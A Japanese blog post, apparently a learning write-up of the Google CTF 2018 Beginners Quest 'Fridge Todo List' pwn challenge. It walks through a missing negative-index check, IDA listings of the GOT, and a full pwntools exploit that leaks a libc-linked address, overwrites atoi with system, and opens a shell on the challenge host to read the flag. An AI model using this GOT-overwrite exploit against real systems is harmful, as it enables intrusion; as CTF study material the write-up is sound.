進行中の何か

主にIT系の調べたこと。やったことをまとめます。

Google CTF 2018 Beginners Quest writeup 04

GoogleCTF2018 Beginners Questを解いていきます。

Pwnやリバースエンジニアリング初心者なので苦戦し、全く解けなかった。
そのため、今回はwriteup見ながら自身の整理のための記事。

FRIDGE TODO LIST [pwn]

バイナリとソースコードが与えられるので早速実行。
userを入力したらそのユーザのToDoリストの作成、閲覧ができる。
そしてToDoはentryとして数字をそしてtaskを入力でき、
登録したToDoをtodosというディレクトリにユーザごとに保存している様子。
flagはおそらくtodosディレクトリに既に登録されているタスクがあり、
それをどうにかして読み取ればOKだと考える。

# ./todo 
(バナー省略)
user: hoge

Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit

# ls ./todos
hoge

まずはファイルの確認
#「Partial RELRO」とあるのでGOT Overwriteかなーと思うが、
# GOT overwriteが何かまだちゃんと把握できてない。

# file todo
todo: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped

# checksec --file todo
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ソースコードを眺めていると以下のように
read_int()でintを読み込んでいるんだけど入力のチェックが
配列の領域を超えていないかだけチェックしていて負数をチェックしていない。

void print_todo() {
  printf("Which entry would you like to read? ");
  fflush(stdout);
  int idx = read_int();
  if (idx > TODO_COUNT) {
    puts(OUT_OF_BOUNDS_MESSAGE);
    return;
  }
  printf("Your TODO: %s\n", &todos[idx*TODO_LENGTH]);
}

とここがポイントなんだろうなぁと思いつつ
これ以降が詰まったのであとはwriteupを見ながら確認。


負数のチェックをしていないので
TODO_LENGTHが48なので48バイトごとにアドレスをさかのぼることができる。

IDA freeを利用してみていきます。

.got.plt:0000000000203000 ; ===========================================================================
.got.plt:0000000000203000
.got.plt:0000000000203000 ; Segment type: Pure data
.got.plt:0000000000203000 ; Segment permissions: Read/Write
.got.plt:0000000000203000 ; Segment alignment 'qword' can not be represented in assembly
.got.plt:0000000000203000 _got_plt        segment para public 'DATA' use64
.got.plt:0000000000203000                 assume cs:_got_plt
.got.plt:0000000000203000                 ;org 203000h
.got.plt:0000000000203000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000203008 qword_203008    dq 0                    ; DATA XREF: sub_8F0↑r
.got.plt:0000000000203010 qword_203010    dq 0                    ; DATA XREF: sub_8F0+6↑r
.got.plt:0000000000203018 off_203018      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000203020 off_203020      dq offset write         ; DATA XREF: _write↑r
.got.plt:0000000000203028 off_203028      dq offset strlen        ; DATA XREF: _strlen↑r
.got.plt:0000000000203030 off_203030      dq offset errx          ; DATA XREF: _errx↑r
.got.plt:0000000000203038 off_203038      dq offset system        ; DATA XREF: _system↑r
.got.plt:0000000000203040 off_203040      dq offset printf        ; DATA XREF: _printf↑r
.got.plt:0000000000203048 off_203048      dq offset setlinebuf    ; DATA XREF: _setlinebuf↑r
.got.plt:0000000000203050 off_203050      dq offset strncat       ; DATA XREF: _strncat↑r
.got.plt:0000000000203058 off_203058      dq offset close         ; DATA XREF: _close↑r
.got.plt:0000000000203060 off_203060      dq offset read          ; DATA XREF: _read↑r
.got.plt:0000000000203068 off_203068      dq offset fgets         ; DATA XREF: _fgets↑r
.got.plt:0000000000203070 off_203070      dq offset err           ; DATA XREF: _err↑r
.got.plt:0000000000203078 off_203078      dq offset fflush        ; DATA XREF: _fflush↑r
.got.plt:0000000000203080 off_203080      dq offset open          ; DATA XREF: _open↑r
.got.plt:0000000000203088 off_203088      dq offset atoi          ; DATA XREF: _atoi↑r
.got.plt:0000000000203090 off_203090      dq offset __ctype_b_loc ; DATA XREF: ___ctype_b_loc↑r
.got.plt:0000000000203090 _got_plt        ends
.got.plt:0000000000203090
.data:0000000000203098 ; ===========================================================================

.bss:0000000000203140                 public todos
.bss:0000000000203140 todos           db    ? ;               ; DATA XREF: list_is_empty+1C↑o

todosのアドレスが0x203140なので以下表のようにアドレス操作が可能。

idx address
-1 0x203110
-2 0x2030e0
-3 0x2030b0
-4 0x203080 -> open
-5 0x203050 -> strncat
-6 0x203020 -> write

実行環境でのアドレスがどのように割り当てられてるかがわからない。
そのために攻略の方法としては以下指針となる。

  1. ベースとなるアドレスを取得。
  2. 何かの関数アドレスをsystemに書き換え
  3. 書き換えた関数を呼び出しsystemであとは好きなように。

1.を実施するために対象とする関数として「write」を指定する。
これはwriteがstore todoする際にのみ呼び出されているためである。
書き換える関数アドレスはメニュー呼び出しやいろいろな場面で呼び出されているatoiとする。

writeからベースアドレスまでの差とベースアドレスからsystemまでの差を
IDAを用いて確認すると
0x910と0x940にそれぞれのアドレスがあるのがわかる。

.plt:0000000000000910 ; =============== S U B R O U T I N E =======================================
.plt:0000000000000910
.plt:0000000000000910 ; Attributes: thunk
.plt:0000000000000910
.plt:0000000000000910 ; ssize_t write(int fd, const void *buf, size_t n)
.plt:0000000000000910 _write          proc near               ; CODE XREF: write_all+25↓p
.plt:0000000000000910                 jmp     cs:off_203020
.plt:0000000000000910 _write          endp
.plt:0000000000000910
.plt:0000000000000940 ; =============== S U B R O U T I N E =======================================
.plt:0000000000000940
.plt:0000000000000940 ; Attributes: thunk
.plt:0000000000000940
.plt:0000000000000940 ; int system(const char *command)
.plt:0000000000000940 _system         proc near               ; CODE XREF: init+B↓p
.plt:0000000000000940                 jmp     cs:off_203038
.plt:0000000000000940 _system         endp
.plt:0000000000000940

上記指針に基づいてpythonのプログラムを作る。
# python3で作っていたのですが、
# writeアドレスをunpackするときの8バイトにそろえる方法がわからず断念。
# bytesで0詰めする良い方法があれば教えて下さい。

# -*- coding: utf-8 -*-
from pwn import *
from struct import unpack,pack

host="fridge-todo-list.ctfcompetition.com"
port="1337"

r= remote(host,port)

# ユーザ選択
r.send("hoge\n")
# print todo
r.send("2\n")
# -6を選択してwriteのアドレス空間をゲットしにいく。
r.send("-6\n")
# Your ToDo: 部分はいらないのでそこまで読み込み
r.recvuntil("Your TODO: ")
# 改行まで読み込んで改行を削除
res = r.recvuntil("\n")[:-1]
# unpackは8バイトないとできないので0で埋める。
addr =  res.ljust(8,"\0")
write_addr = unpack("<Q",addr)[0]
# writeのアドレスからベースとsystemのアドレスを計算
base_addr = write_addr - 0x910
system_addr = base_addr + 0x940

# store todo
r.send("3\n")
# atoiを上書きするために-4を選択
r.send("-4\n")
# atoiは0x0203088なので8バイト埋めた上で送信
r.send("a"*8+pack("<Q",system_addr)+"\n")
# 後はインタラクティブに操作
r.interactive()

作ったプログラムを実行した結果が以下になります。

# python todo.py 
[+] Opening connection to fridge-todo-list.ctfcompetition.com on port 1337: Done[*] Switching to interactive mode

Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> 
In which slot would you like to store the new entry? What's your TODO? 
Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> $ ls
holey_beep
todo
todos

unknown option 0

Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
> $ ls todos
CountZero
hoge

unknown option 0

Hi hoge, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
$ cat todos/CountZero | sed -e 's/\x00//g'
Watch Hackers (again)Figure out why the fridge keeps beepingcheck check /home/user/holey_beepdebug the fridge - toilet connectivityfollow sec advice: CTF{goo.gl/cjHknW}/4513753
unknown option 0

flagはCTF{goo.gl/cjHknW}


参考としたサイト

Google CTF 2018 write-up (Beginners Quest)

CTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner's Quest - Fridge todo List / Writeup